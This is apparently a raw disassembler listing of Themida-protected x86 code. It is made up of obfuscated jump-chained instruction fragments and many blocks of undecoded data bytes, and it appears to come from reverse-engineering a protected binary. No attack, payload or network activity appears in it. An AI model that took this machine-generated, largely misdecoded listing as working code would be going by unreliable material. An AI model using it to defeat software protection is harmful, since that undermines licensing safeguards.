; ---------------------------------------------------------------------------
		dd 9C240401h, 0FF7412E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_624E0D:				; CODE XREF: Themida_:0062708Cj
		xchg	esi, [esp]
		pop	esp
		push	3FBBh
		mov	[esp], ebp
		jmp	loc_6246DF
; ---------------------------------------------------------------------------


loc_624E1E:				; CODE XREF: Themida_:00623877j
		add	bl, al
		jmp	loc_61E2D9
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 2
		dd 5C241487h, 2831F380h
		db 0D8h, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 2DAF7A36h
		and	ebx, 74BB72CCh
		shl	ebx, 5
		add	ebx, 7A610904h
		and	ebx, 0B664E62h
		xor	ebx, 61F34BB6h
		add	ebx, 954AFC4Eh
		add	ebp, ebx
		pop	ebx
		sub	ebp, 2
		jmp	loc_624D63
; ---------------------------------------------------------------------------
		db 89h
		dd 5B54241Ch, 4C381h, 22680000h, 8900007Dh, 0EC83243Ch
		dd 24148904h, 1C5B4BBAh, 0E9D2F760h, 0FFFFE735h, 0B4240489h
		dd 0A922E9A6h, 1C87FFFFh, 0F9F75C24h, 7FFE9h, 45D5F700h
		dd 0FFDE6DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_624EA9:				; CODE XREF: Themida_:00624A77j
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_626085
; ---------------------------------------------------------------------------
		dd 92E3E950h, 0F74BFFFFh, 4FE381D3h, 50128208h,	0FF754DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_624ED1:				; CODE XREF: Themida_:0062544Fj
		pop	ecx
		dec	edx
		not	edx
		add	edx, 7D1E287Dh
		push	eax
		jmp	loc_6245CA
; ---------------------------------------------------------------------------
		db 0BEh, 70h, 6Ah
		dd 0E6817AAEh, 51C14D5Ch, 0F751CE87h, 87592414h, 0F68146CEh
		dd 0D198F0C8h, 0FF5EF301h, 0E95E2434h, 0FFFFABCDh, 0F704C483h
		dd 2EDC1D5h, 8102E5C1h,	5901D2E5h, 722E903h, 0E94E0000h
		dd 0FFFF806Dh, 4EC81h, 4890000h, 2B824h, 0C6010000h, 24348758h
		dd 0FE24248Bh, 0E99C240Ch, 3404h
; ---------------------------------------------------------------------------


loc_624F44:				; CODE XREF: Themida_:00620F61j
		and	ecx, 464D1475h
		add	ecx, 42EC70C5h
		inc	ecx
		and	ecx, 55853C2Bh
		add	ecx, 577626D3h
		sub	ecx, 657E60D1h
		xor	ebx, ecx
		jmp	loc_61D4D6
; ---------------------------------------------------------------------------
		dw 0CE31h
		dd 0FF93BAE9h, 0C2815CFFh, 2, 8B241487h, 8B662424h, 0D968240Ch
		dd 8900000Ah, 0EC83242Ch, 48F5404h, 24048324h, 242C8B04h
		dd 815E5456h, 4C6h, 4C68100h, 87000000h, 4E92434h, 89000022h
		dd 1D3CE9E7h, 34870000h, 24248B24h, 0FFB5B6E9h,	4C481FFh
		dd 83000000h, 1DE904C4h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_624FCF:				; CODE XREF: Themida_:00625D39j
		mov	esi, 29545E57h
		mov	eax, esi
		pop	esi
		shr	eax, 6
		jmp	loc_61C749
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 24048924h, 7DCDE956h, 0E95CFFFFh,	0FFFFF92Ah
		dd 2414335Eh, 33241431h, 248B2414h, 20D0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_625006:				; CODE XREF: Themida_:0061F4AFj
		pop	ecx
		sub	esi, 319F19BAh
		push	edi
		mov	edi, 1DB80D63h
		sub	esi, edi
		pop	edi
		jmp	loc_626145
; ---------------------------------------------------------------------------
byte_62501B	db 68h			; DATA XREF: Themida_:0061C138o
		dd 53947h, 0FFD929E9h, 4C483FFh, 12DE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62502E:				; CODE XREF: Themida_:00623AFDj
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], eax
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_6286E8
; ---------------------------------------------------------------------------
		dd 787FC281h, 3C8B72BCh, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 2414875Ch, 6624248Bh, 66C8AF0Fh, 33E99C51h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62507B:				; CODE XREF: Themida_:006201FFj
		pop	edx
		shl	ebp, 7
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 0
		sub	esi, ebp
		xchg	esi, ebp
		pop	esi
		sub	ebp, 0FF49BB80h
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		push	635Bh
		mov	[esp], edi
		push	397Ah
		jmp	loc_62535B
; ---------------------------------------------------------------------------
		db 0B8h, 0F0h, 2Ch
		dd 0C58961DCh, 27B85058h, 0E90B1556h, 0FFFFE039h, 1FE9515Dh
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6250D7:				; CODE XREF: Themida_:0062082Aj
		add	esp, 4
		push	ecx
		mov	ecx, 15AF75B1h
		add	ecx, 522FFF42h
		and	esi, ecx
		jmp	loc_6201B9
; ---------------------------------------------------------------------------


loc_6250F0:				; CODE XREF: Themida_:00627CBCj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, esp
		jmp	loc_623D26
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0E951D3F7h, 18FCh, 2E8C158h,	5621BE56h, 0EE816D13h
		dd 106A3859h, 2D5EF029h, 0B6CB344Dh, 34FFC601h,	0C4815824h
		dd 4, 0E902C683h, 0FFFFFE82h
dword_625134	dd 0E92434FFh, 0FFFF9018h, 0BEA8E956h, 0F786FFFFh, 0F786D6F6h
					; DATA XREF: Themida_:0061C188o
		dd 8060CF80h, 0F78033C7h, 5BF82822h, 1AE99D2Ch,	6800000Fh
		dd 5B71h, 0E9243C89h, 0FFFFB381h, 8F6FE958h
		db 2 dup(0FFh)
word_62516E	dw 3486h		; DATA XREF: Themida_:0061C118o
		dd 53515024h, 3BE9F788h, 8900002Eh, 4C781E7h, 83000000h
		dd 25E904C7h, 81FFFF71h, 4C6h, 0FD8EE900h, 0E7C1FFFFh
		dd 0C7814707h, 4A69F503h, 3C8BFD01h, 0E1895124h, 4C181h
		dd 0CBE90000h, 56FFFFD9h, 2807E9h, 240C8700h, 2434FF5Ch
		dd 639E959h, 89560000h,	4C681E6h, 81000000h, 4C6h, 24348700h
		dd 4C4815Ch, 0E9000000h, 0FFFFBFD1h, 6FE9CD31h,	56000015h
		dd 2BEh, 8FC78100h, 81197B07h, 0B86485EFh, 50F70153h, 0B86485B8h
		dd 58C70153h, 324FBD55h, 0C581755Eh, 0A41CD540h, 8B5DEF29h
		dd 0C4812434h, 4, 728D68h, 7480E900h, 0EE81FFFFh, 77F195E7h
		dd 0FF8A8EE9h, 4C181FFh, 81000000h, 2E9h, 240C8700h, 2C89665Ch
		dd 74FF6624h, 28E90224h, 80FFFF76h, 0DE883AC3h,	8BF0005Bh
		dd 54522414h, 7FB9515Ah, 41261516h, 0D3F7D987h,	0E9D987h
		dd 87000024h, 3BE92414h, 0E9FFFFEAh, 0FFFF6F9Fh
; ---------------------------------------------------------------------------


loc_625280:				; CODE XREF: Themida_:0062845Fj
		add	cl, 91h
		xor	cl, 17h
		sub	al, cl
		pop	ecx
		add	al, dl
		jmp	loc_6254B5
; ---------------------------------------------------------------------------
		dd 1B04BA52h, 0D0097F90h, 0E924148Bh, 0FFFFD46Bh, 0E4E9F1F6h
		dd 81FFFFEEh, 1153BCC6h, 0B12DE935h, 0EEC1FFFFh, 7E68105h
		dd 0F763032Ch, 4EEC1D6h, 0E30EEE81h, 0F331107Fh, 0FFF18FE9h
		dd 6F4DE9FFh, 0E959FFFFh, 0FFFF6F47h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 5C240487h, 9C2424D3h, 0FF6F2AE9h, 0F18141FFh
		dd 7E5C77F3h, 6859CA01h, 4F3Bh,	0FFEB35E9h, 62BA52FFh
		dd 0B918C30Ah, 0E73CF5A2h, 15AD101h, 0FF5059C8h, 58042474h
		dd 5C24048Fh, 4C481h, 1680000h,	89000073h, 0E589242Ch
		dd 0D0EE9h
		db 0
; ---------------------------------------------------------------------------


loc_625339:				; CODE XREF: Themida_:0062403Cj
		dec	edx
		neg	edx
		push	ebx
		mov	ebx, 2250136h
		jmp	loc_620790
; ---------------------------------------------------------------------------
		db 87h
		dd 0C15C242Ch, 0C8310AE8h, 0C331D831h, 0ECE9D831h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62535B:				; CODE XREF: Themida_:006250B8j
		mov	[esp], ebx
		pop	edi
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		push	ecx
		mov	ecx, 4
		jmp	loc_622570
; ---------------------------------------------------------------------------
		dw 9A68h
		dd 54000039h, 0E924048Fh, 0FFFF8072h, 0ED81DD01h, 2CA9605Dh
		dd 5B2434FFh, 0FF9441E9h, 0CF895AFFh, 0E9575B59h, 0FFFFB3BAh
		dd 8EB9515Fh, 0F7689E31h, 5F181D9h, 0F735B169h,	87E981D9h
		dd 15D2F58h, 240C8BC8h,	4C481h,	3EE90000h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6253BF:				; CODE XREF: Themida_:0062646Bj
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_621BD1
; ---------------------------------------------------------------------------


loc_6253E6:				; CODE XREF: Themida_:00625796j
		add	esp, 4
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	eax
		mov	eax, 29C10047h
		sub	[esp+4], eax
		jmp	loc_61E5A3
; ---------------------------------------------------------------------------


loc_625418:				; CODE XREF: Themida_:0061EFEFj
		xor	ecx, 3950E94h
		add	esi, ecx
		pop	ecx
		jmp	loc_61E4CA
; ---------------------------------------------------------------------------
		dw 3489h
		dd 348B5424h, 4C48324h,	4EC81h,	1C890000h, 8DD1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62543E:				; CODE XREF: Themida_:0061D87Ej
		xor	cl, 86h
		jmp	loc_627358
; ---------------------------------------------------------------------------


loc_625446:				; CODE XREF: Themida_:00625FF5j
		pop	ebx
		add	ecx, 675F719h
		or	edx, ecx
		jmp	loc_624ED1
; ---------------------------------------------------------------------------
		dd 4BDh, 32FDE900h, 0F0280000h,	5A2434FFh, 4C481h, 88680000h
		dd 8900006Ah, 0BFE9240Ch, 1FFFFE7h, 0C1C681FEh,	8B58E429h
		dd 0C483243Ch, 54E96804h, 2AE90000h, 8FFFFFB1h,	0E95C2404h
		dd 0FFFF6D87h, 83242C8Bh, 97E904C4h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6254A3:				; CODE XREF: Themida_:006211DFj
		inc	ecx
		add	ecx, 13BC230Bh
		jmp	loc_61E0C3
; ---------------------------------------------------------------------------
		db 50h
		dd 0FFE623E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6254B5:				; CODE XREF: Themida_:0062528Bj
		push	bx
		jmp	loc_61ECD0
; ---------------------------------------------------------------------------


loc_6254BC:				; CODE XREF: Themida_:00627448j
		pop	edi
		xor	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	ecx, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_62435C
; ---------------------------------------------------------------------------


loc_625501:				; CODE XREF: Themida_:006229C8j
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	5DB5h
		jmp	loc_62171A
; ---------------------------------------------------------------------------
		dd 0FF6D02E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62551D:				; CODE XREF: Themida_:0061FB91j
		add	esp, 4


loc_625520:				; CODE XREF: Themida_:006226C2j
					; Themida_:00625949j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	6681h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_61EA17
; ---------------------------------------------------------------------------


loc_625535:				; CODE XREF: Themida_:0062735Cj
		push	edx
		jmp	loc_627D9E
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F4E905EFh, 56000024h, 0F849E4BEh, 0CDB8E95Eh, 0C281FFFFh
		dd 4, 4EA81h, 14870000h, 34895C24h, 4BE24h, 6C810000h
		dd 4D750424h, 7401605Fh, 44810424h, 4D750424h, 2E9605Fh
		dd 5CFFFFACh, 6A86BA52h, 3BE9735Ah, 0BDFFFFB6h,	4, 0FFEFD9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_625595:				; CODE XREF: Themida_:0061F297j
		push	dword ptr [esp]
		jmp	loc_6285AB
; ---------------------------------------------------------------------------
byte_62559D	db 68h,	0, 25h		; DATA XREF: Themida_:0061BFE8o
		dd 0C890000h, 1CB924h, 5E680000h, 89000009h, 0F868242Ch
		dd 5D7C0763h, 6D93BF57h, 0FD315E5Fh, 0C840E95Fh, 6F21FFFFh
		dd 8CE95D1Ch, 31FFFF79h, 0E9F531EEh, 0FFFF83C9h, 6624248Bh
		dd 9C240401h, 0FF6C3AE9h, 244C01FFh, 1F25E904h,	34890000h
		dd 0B3A8E924h, 1468FFFFh, 8900005Bh, 0E6892434h, 270FE9h
		dd 0B9515A00h, 9B02E344h, 0C0E9C831h, 53FFFFA6h, 181AE9h
		dd 31D1F700h, 0E9E931CDh, 0FFFFFBC0h, 0E3E9F030h, 1FFFFE4h
		dd 182DE9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_625632:				; CODE XREF: Themida_:00624D44j
		xor	edx, edi
		pop	edi
		xor	edx, 0BA0088Eh
		jmp	loc_61C96D
; ---------------------------------------------------------------------------
		dd 8108EDC1h, 11903F5h,	5DE82900h, 0FF7148E9h, 48AD2DFFh
		dd 15B5EA9h, 80A5E9D8h,	802DFFFFh, 0D150B48h, 4F8909BAh
		dd 0E8C14040h, 0B1C93508h, 69E972F2h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_625677:				; CODE XREF: Themida_:006283F2j
		not	ebp
		and	ebp, 1339259Eh
		jmp	loc_626007
; ---------------------------------------------------------------------------


loc_625684:				; CODE XREF: Themida_:00625E65j
		xor	[esp], ebp
		push	ebp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		not	edx
		jmp	loc_6223AE
; ---------------------------------------------------------------------------
		dd 0E956C329h, 0FFFFEEB4h, 8904EC83h, 0C8E9242Ch, 81FFFFDBh
		dd 0D434D9F1h, 0E1F7E94Ah, 0BA52FFFFh, 116F3231h, 47B2EA81h
		dd 0E2816108h, 79C18DEh, 4A02E2C1h, 0D7E8E94Ah,	0C731FFFFh
		dd 8324048Bh, 0DFF704C4h, 0F781D7F7h, 59AE3957h, 0F0E9FD89h
		dd 28FFFF87h, 885A66D3h, 2434FFDDh, 0FFBDBAE9h,	5D001FFh
		dd 79D5718Bh, 0A67F872Dh, 0EA00E966h, 0C8BFFFFh, 45376824h
		dd 1C890000h, 81E38924h, 4C3h, 4C38300h, 0E9241C87h, 2718h
dword_625728	dd 0E92434FFh, 0FFFFE65Fh, 0B65BD55h, 0F587212Fh, 0FFD482E9h
					; DATA XREF: Themida_:0061C0DCo
		db 0FFh
byte_62573D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0061BF88o
		dd 0D8E9E924h, 3487FFFFh, 0C7E95C24h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62574F:				; CODE XREF: Themida_:0061D379j
		xor	ebp, 0B5E4C9F1h
		add	ecx, ebp
		pop	ebp
		jmp	loc_61F52D
; ---------------------------------------------------------------------------
aZbXr		db 'Zƕ',0
		db 80h
		dd 685EF001h, 1380h, 51242C89h,	91EFE953h
		db 2 dup(0FFh)
word_625776	dw 8B66h		; DATA XREF: Themida_:0061C02Co
		dd 54552404h, 0D57EE95Dh, 0BF57FFFFh, 4, 335FFB01h, 0A4E9241Ch
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_625793:				; CODE XREF: Themida_:0061DCE9j
		mov	edx, [esp]
		jmp	loc_6253E6
; ---------------------------------------------------------------------------
		db 83h
		dd 3AE904C6h, 5D00001Ch, 0FFDDC4E9h, 4EF83FFh, 5C243C87h
		dd 0BA241489h, 30A6201Bh, 0E9DAF74Ah, 0FFFF76F8h, 2FD068h
		dd 243C8900h, 0FFA675E9h, 89F789FFh, 348B5FF9h,	4EC8324h
		dd 0E9243C89h, 0FFFFF7CFh
; ---------------------------------------------------------------------------


loc_6257E0:				; CODE XREF: Themida_:006280CBj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_6262D0
; ---------------------------------------------------------------------------
		db 56h
		dd 0E3A2E954h, 0E95BFFFFh, 0FFFFEDB6h, 5D545558h, 4C581h
		dd 34E90000h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62581B:				; CODE XREF: Themida_:006226D5j
		shl	ecx, 2
		push	edx
		mov	edx, 0ED33836h
		jmp	loc_622F9C
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 80h
		dd 12A050Bh, 80EF81CFh,	532A050Bh, 1C14C8BBh, 5BDF014Fh
		dd 0B64AE9FDh, 0C789FFFFh, 66336858h, 1C890000h, 93ADE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_625856:				; CODE XREF: Themida_:00623B09j
		add	ecx, 75BD0AC2h
		add	ecx, eax
		sub	ecx, 75BD0AC2h
		add	ecx, 0E3E24C7h
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_61FA38
; ---------------------------------------------------------------------------
		dd 9749E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62587A:				; CODE XREF: Themida_:00628369j
		xor	edi, 32C746B3h
		jmp	loc_621B3F
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 91h
		dd 81BAAFBDh, 10325BE9h, 56F12900h, 10325BBEh, 5EF10100h
		dd 5ECE95Eh, 0C2890000h, 52A06858h, 14890000h, 2B2FBA24h
		dd 82D4361h, 17CAF04h, 0B40BE9D0h, 0E95CFFFFh, 0AA8h, 8904EC83h
		dd 0D3E9241Ch, 6600000Dh, 662404FFh, 0C5CDE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6258DA:				; CODE XREF: Themida_:0062490Dj
		pop	eax
		jmp	loc_621280
; ---------------------------------------------------------------------------
		dd 0FF1C6F09h, 2C8B2434h, 0C3D2E924h, 0B551FFFFh, 9052E993h
		dd 0F66FFFFh, 0E952C8BEh, 14B6h, 83242C8Bh, 685604C4h
		dd 4, 5EF5015Eh, 2C581h, 8E90000h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62591B:				; CODE XREF: Themida_:00621202j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		and	ebx, esi
		pop	esi
		or	ebx, ebx
		jnz	loc_6226BE
		push	6F75h
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_625520
; ---------------------------------------------------------------------------
aVh1		db 'Vh1',1Bh,0
		align 4
aISp		db '$$',0Dh,0
		align 4


loc_62595C:				; CODE XREF: Themida_:006260D8j
		neg	eax
		push	ebp
		mov	ebp, 4AE911CBh
		sub	ebp, 0DE1DDDD2h
		sub	eax, ebp
		jmp	loc_623B02
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 4
		dd 0E9243487h, 0FFFFC95Eh, 15FFB850h, 1DB95E8Eh, 317D381Ah
		dd 0BF5758C1h, 561A14FAh, 815FF921h, 691FD7C9h,	153E96Ah
		dd 83580000h, 1C8904ECh, 81E38924h, 4C3h, 0FDD0E900h, 0E588FFFFh
		dd 48B5B58h, 4EC8124h, 89000000h, 0E789243Ch, 4C781h, 0C7830000h
		dd 243C8704h, 424248Bh,	2CE80041h, 0CCE95941h, 51FFFFCAh
		dd 0E9D076B1h, 0FE87E180h, 0C0C1FEC9h, 0C18004E1h, 289E04BCh
		dd 599E2CC8h, 24148B66h, 0FF929AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_625A01:				; CODE XREF: Themida_:006264F4j
		add	al, 7Bh
		add	al, 71h
		sub	al, cl
		jmp	loc_624816
; ---------------------------------------------------------------------------
		dd 74FF505Eh, 48B0424h,	0A556824h, 4890000h, 5E08924h
		dd 4, 0FF7296E9h
		db 0FFh
byte_625A29	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0061C0B4o
		dd 0FFFF7F22h, 7BB8E958h, 0EA81FFFFh, 18417476h, 74B6E952h
		dd 0E189FFFFh, 4C181h, 0C1830000h, 240C8704h, 0E930FF5Ch
		dd 0FFFFA724h
dword_625A58	dd 24048B66h, 56E18951h, 4BEh, 58BE5600h, 87430D41h, 0A662E9DEh
					; DATA XREF: Themida_:0061C06Co
		dd 0D5BEFFFFh, 0BA6C121Ch, 2A357AA6h, 0DAF7DAF7h, 0FFBA20E9h
		dd 0DF895AFFh, 3E7C15Bh, 0FF9016E9h, 5E089FFh, 4, 42Dh
		dd 24048700h, 241C895Ch, 0D434B5BBh, 0AC26E928h, 2C33FFFFh
		dd 242C3124h, 8B242C33h, 4FE2424h, 5CE99C24h, 89FFFF67h
		dd 0F2B5240Ch, 0E5C0DDF6h, 66C5FE06h, 28000068h, 59E9242Ch
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_625ADB:				; CODE XREF: Themida_:00620926j
		sub	bl, 26h
		jmp	loc_61D7D8
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFAB57E9h, 0E78957FFh, 0FFE045E9h, 0F3F181FFh, 896A7B1Fh
		dd 240C8BCBh, 104C483h,	93F8E9D8h, 0CE81FFFFh, 7DA60DC3h
		dd 0EFAEC681h, 0F521DE81h, 0F1E5815Eh, 5035DC2Eh, 0FFFFFFB8h
		dd 58C501FFh, 1CED81h, 0E9011410h, 51242C8Bh, 0C1815954h
		dd 4, 4C181h, 0C870000h, 0C1835C24h, 74FF5102h,	8F590424h
		dd 845C2404h, 0C5E99CC8h, 58FFFFA7h, 5504C583h,	42474FFh
		dd 81242C8Bh, 4C4h, 24048F00h, 0FFB11CE9h, 62B951FFh, 212F423Ah
		dd 0B3E959CFh, 31FFFFD1h, 3C33243Ch, 34FF5C24h,	2434FF24h
		dd 0FFACE9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_625B91:				; CODE XREF: Themida_:006247B7j
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_61E7F4
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 7
		dd 0FF86F7E9h, 3BAEBBFFh, 0BF5740A6h, 509F6A4Fh, 3C8BFB31h
		dd 0E1895124h, 0FFC5DFE9h, 52E956FFh
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_625BD3:				; CODE XREF: Themida_:0061F9B2j
		mov	dl, 7Dh
		jmp	loc_61D5C7
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 0CD94E924h, 0EC83FFFFh, 24248904h, 4240483h,	6692685Ah
		dd 2C890000h, 4BD24h, 76E90000h, 0FEFFFF6Eh, 4D634C0h
		dd 58C700EAh, 4EC81h, 4890000h,	53FC8824h, 0DE88E388h
		dd 24048B5Bh, 81E38953h, 4C3h, 4C38100h, 87000000h, 5B5C241Ch
		dd 0FFF829E9h
		db 0FFh
byte_625C35	db 66h,	8Bh, 4		; DATA XREF: Themida_:0061C0E8o
		dd 4EC8324h, 0FFF226E9h, 5FF889FFh, 0AD02FE0Dh,	0B92054Dh
		dd 903504E5h, 897F3C19h, 0F18158C1h, 5A98243Bh,	0A1B9E955h
		db 2 dup(0FFh)
word_625C62	dw 8B66h		; DATA XREF: Themida_:0061C094o
		dd 0E955240Ch, 13BEh
dword_625C6C	dd 0ACE932FFh, 80FFFF65h, 0C8001BE9h, 592434FFh, 4C481h
					; DATA XREF: Themida_:0061C004o
		dd 0B82C0000h, 0B804D828h, 60E95351h, 68FFFF6Dh, 2334h
		dd 0FFA291E9h
		db 0FFh
byte_625C99	db 0ADh, 0E9h, 54h	; DATA XREF: Themida_:0061BF60o
		dd 58000016h, 523368h, 240C8900h, 2B9h,	39C78100h, 1640F1Bh
		dd 39EF81CFh, 8B640F1Bh, 0C483240Ch, 0C77AE904h, 0D3F7FFFFh
		dd 5D7C381h, 0F3E93288h, 0BE000011h, 697661C3h,	0CE81D6F7h
		dd 7CA64D66h, 7D2AF681h, 0C6813462h, 711C7753h,	0FE9F031h
		dd 89000019h, 0BE56242Ch, 2, 348B5D56h,	0E2895224h, 4C281h
		dd 0C2830000h, 24148704h, 8BE9015Ch, 9EE9242Ch,	89FFFFB1h
		dd 148B2404h, 4EC8124h,	0E9000000h, 1378h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], eax
		push	esi
		jmp	loc_624FCF
; ---------------------------------------------------------------------------


loc_625D3E:				; CODE XREF: Themida_:00628588j
		mov	bh, dh
		pop	edx
		inc	bh
		jmp	loc_625DB1
; ---------------------------------------------------------------------------
		dd 5552C301h, 2222C9BDh, 4EDC147h, 1E09C581h, 0F581750Eh
		dd 5A8B3549h, 22E9EA89h, 81000000h, 0EE3DF0C1h,	59CD3101h
		dd 1C46BE56h, 0F531252Ah, 5324348Bh, 0C3815B54h, 4, 0FF748FE9h
		dd 0E2815DFFh, 73501E25h, 0C102EAC1h, 0F28104E2h, 566042D1h
		dd 775AF281h, 0D301BE4Eh, 0DD28E95Ah
		db 2 dup(0FFh)
word_625DAA	dw 0AD66h		; DATA XREF: Themida_:0061BFDCo
		dd 14B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_625DB1:				; CODE XREF: Themida_:00625D43j
		push	52C9h
		mov	[esp], edx
		mov	dl, 0DAh
		sub	bh, dl
		pop	edx
		xor	dl, bh
		pop	ebx
		sub	esp, 2
		jmp	loc_622C1A
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 4, 0E902EE83h, 0FFFFD8A9h, 0FF241C89h, 34FF2434h, 7726E924h
		dd 315AFFFFh, 2434FFC8h, 4C48159h, 0E9000000h, 0F7Fh
; ---------------------------------------------------------------------------


loc_625DF8:				; CODE XREF: Themida_:00620043j
		push	edi
		mov	edi, 61CC2DF0h
		add	ebx, edi
		pop	edi
		push	small word ptr [eax]
		jmp	loc_622BBA
; ---------------------------------------------------------------------------
		db 89h,	0C5h, 8Bh
		dd 0C4812404h, 4, 3906E581h, 0C5813ECFh, 50C075B9h, 508E9h
		dd 240C8B00h, 2804C483h, 0B75366D8h, 0E9F82822h, 9F4h
dword_625E38	dd 288A04ACh, 2B6866D8h, 14896671h, 48AB624h, 0C5D9E9ECh
					; DATA XREF: Themida_:0061C190o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_625E4E:				; CODE XREF: Themida_:006207CCj
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_625684
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 4315C24h, 0A8E99C24h, 89FFFF63h, 25E6E9E7h
		db 2 dup(0)
word_625E7E	dw 8B66h		; DATA XREF: Themida_:0061BFE4o
		dd 8153240Ch, 4ECh, 83A2E900h, 0F101FFFFh, 5011BE56h, 0F1010CDBh
		dd 0B8505E5Eh, 34B455DDh, 0FFC263E9h, 66942CFFh, 0FF77E95Bh
		dd 6CE9FFFFh, 0F7FFFF63h, 54BD55D9h, 81EE16C6h,	0F05DCAE9h
		dd 81E9297Ah, 0F05DCAC1h, 0CF895D7Ah, 0FFE5D6E9h, 8BEF89FFh
		dd 0C481242Ch, 4, 0FF71F7E9h, 240C8BFFh, 5704C483h, 0AFEE9h
		dd 59EB8800h, 5BDE885Ah, 8124048Bh, 4C4h, 0F5885100h, 424748Ah
		dd 4246C88h, 6311E959h,	0BD55FFFFh, 4EBB2785h, 2ABD5553h
		dd 89307748h, 0B191E9EBh, 6ABEFFFFh, 81157404h,	9A6DD0E6h
		dd 68EE815Fh, 29F9A68Ah, 0CD315EF1h, 9310E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_625F3E:				; CODE XREF: Themida_:0061C74Cj
		not	dword ptr [esp]
		pop	eax
		add	eax, 0A5517Eh
		add	ebp, eax
		jmp	loc_627FF7
; ---------------------------------------------------------------------------
		dw 0EF89h
